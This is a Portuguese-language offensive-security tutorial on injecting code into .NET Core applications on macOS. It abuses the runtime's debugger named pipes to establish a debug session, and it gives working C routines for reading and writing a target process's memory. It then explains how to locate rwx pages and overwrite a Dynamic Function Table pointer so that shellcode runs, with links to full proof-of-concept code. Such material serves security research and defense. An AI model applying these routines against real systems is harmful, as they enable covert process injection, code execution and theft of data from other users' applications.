# Injeção em Aplicações .Net no macOS
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## Depuração do .NET Core
### **Estabelecer uma sessão de depuração**
[**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp) é responsável por lidar com a **comunicação** entre o depurador e o depurado.\
Ele cria 2 pipes nomeados por processo .Net em [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127) chamando [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27) (um terminará em **`-in`** e o outro em **`-out`**, e o resto do nome será o mesmo).
Portanto, se você for ao **`$TMPDIR`** do usuário, poderá encontrar **fifos de depuração** que poderiam ser usados para depurar aplicações .Net:
A função [**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) lidará com a comunicação de um depurador.
A primeira coisa que um depurador precisa fazer é **criar uma nova sessão de depuração**. Isso é feito **enviando uma mensagem através do pipe `out`** começando com uma estrutura `MessageHeader`, que podemos obter do código-fonte do .NET:
```c
struct MessageHeader
{
MessageType m_eType; // Type of message this is
DWORD m_cbDataBlock; // Size of data block that immediately follows this header (can be zero)
DWORD m_dwId; // Message ID assigned by the sender of this message
DWORD m_dwReplyId; // Message ID that this is a reply to (used by messages such as MT_GetDCB)
DWORD m_dwLastSeenId; // Message ID last seen by sender (receiver can discard up to here from send queue)
DWORD m_dwReserved; // Reserved for future expansion (must be initialized to zero and
// never read)
union {
struct {
DWORD m_dwMajorVersion; // Protocol version requested/accepted
DWORD m_dwMinorVersion;
} VersionInfo;
...
} TypeSpecificData;
BYTE m_sMustBeZero[8];
}
```
No caso de uma nova solicitação de sessão, essa struct é preenchida da seguinte forma:
```c
static const DWORD kCurrentMajorVersion = 2;
static const DWORD kCurrentMinorVersion = 0;
// Set the message type (in this case, we're establishing a session)
sSendHeader.m_eType = MT_SessionRequest;
// Set the version
sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion;
sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion;
// Finally set the number of bytes which follow this header
sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);
```
Uma vez construído, **enviamos isso para o alvo** usando a chamada de sistema `write`:
```c
write(wr, &sSendHeader, sizeof(MessageHeader));
```
Seguindo nosso cabeçalho, precisamos enviar uma estrutura `sessionRequestData`, que contém um GUID para identificar nossa sessão:
```c
// All '9' is a GUID.. right??
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));
// Send over the session request data
write(wr, &sDataBlock, sizeof(SessionRequestData));
```
Ao enviar nossa solicitação de sessão, nós **lemos do `out` pipe um cabeçalho** que indicará **se** nossa solicitação para estabelecer se uma sessão de depuração foi **bem-sucedida** ou não:
```c
read(rd, &sReceiveHeader, sizeof(MessageHeader));
```
### Ler Memória
Com uma sessão de depuração estabelecida, é possível **ler memória** usando o tipo de mensagem [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896). Para ler alguma memória, o código principal necessário seria:
```c
bool readMemory(void *addr, int len, unsigned char **output) {
*output = (unsigned char *)malloc(len);
if (*output == NULL) {
return false;
}
sSendHeader.m_dwId++; // We increment this for each request
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to
sSendHeader.m_eType = MT_ReadMemory; // The type of request we are making
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to read from
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write
sSendHeader.m_cbDataBlock = 0;
// Write the header
if (write(wr, &sSendHeader, sizeof(sSendHeader)) < 0) {
return false;
}
// Read the response header
if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) < 0) {
return false;
}
// Make sure that memory could be read before we attempt to read further
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
return false;
}
memset(*output, 0, len);
// Read the memory from the debugee
if (read(rd, *output, sReceiveHeader.m_cbDataBlock) < 0) {
return false;
}
return true;
}
```
O código de prova de conceito (POC) pode ser encontrado [aqui](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b).
### Escrever memória
```c
bool writeMemory(void *addr, int len, unsigned char *input) {
sSendHeader.m_dwId++; // We increment this for each request
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to
sSendHeader.m_eType = MT_WriteMemory; // The type of request we are making
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to write to
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write
sSendHeader.m_cbDataBlock = len;
// Write the header
if (write(wr, &sSendHeader, sizeof(sSendHeader)) < 0) {
return false;
}
// Write the data
if (write(wr, input, len) < 0) {
return false;
}
// Read the response header
if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) < 0) {
return false;
}
// Ensure our memory write was successful
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
return false;
}
return true;
}
```
O código POC utilizado para isso pode ser encontrado [aqui](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5).
### Execução de código .NET Core
A primeira coisa é identificar, por exemplo, uma região de memória com **`rwx`** ativa para salvar o shellcode a ser executado. Isso pode ser feito facilmente com:
```bash
vmmap -pages [pid]
vmmap -pages 35829 | grep "rwx/rwx"
```
Então, para desencadear a execução, seria necessário saber algum lugar onde um ponteiro de função é armazenado para sobrescrevê-lo. É possível sobrescrever um ponteiro dentro da **Tabela de Funções Dinâmicas (DFT)**, que é usada pelo tempo de execução do .NET Core para fornecer funções auxiliares para a compilação JIT. Uma lista de ponteiros de função suportados pode ser encontrada dentro de [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h).
Nas versões x64 isso é direto usando a técnica de **caça de assinaturas** ao estilo mimikatz para procurar em **`libcorclr.dll`** por uma referência ao símbolo **`_hlpDynamicFuncTable`**, que podemos desreferenciar:
Tudo o que resta a fazer é encontrar um endereço do qual iniciar nossa busca de assinatura. Para fazer isso, aproveitamos outra função de depuração exposta, **`MT_GetDCB`**. Isso retorna uma série de informações úteis sobre o processo alvo, mas para o nosso caso, estamos interessados em um campo retornado contendo o **endereço de uma função auxiliar**, **`m_helperRemoteStartAddr`**. Usando este endereço, sabemos exatamente **onde `libcorclr.dll` está localizado** na memória do processo alvo e podemos iniciar nossa busca pela DFT.
Sabendo desse endereço, é possível sobrescrever o ponteiro da função com o nosso próprio shellcode.
O código POC completo usado para injetar no PowerShell pode ser encontrado [aqui](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6).
## Referências
* Esta técnica foi retirada de [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/)
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